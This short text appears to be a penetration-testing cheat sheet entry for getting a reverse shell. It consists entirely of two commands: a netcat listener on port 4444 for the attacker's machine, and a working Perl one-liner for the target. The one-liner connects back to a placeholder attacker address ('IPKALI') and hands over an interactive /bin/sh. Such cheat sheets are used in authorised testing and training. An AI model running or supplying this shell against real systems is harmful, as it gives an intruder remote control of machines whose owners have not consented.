Launch a listening nc on your host:

nc -lvp 4444

Launch the reverse shell in perl on your target:

perl -e 'use Socket;$i="IPKALI";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'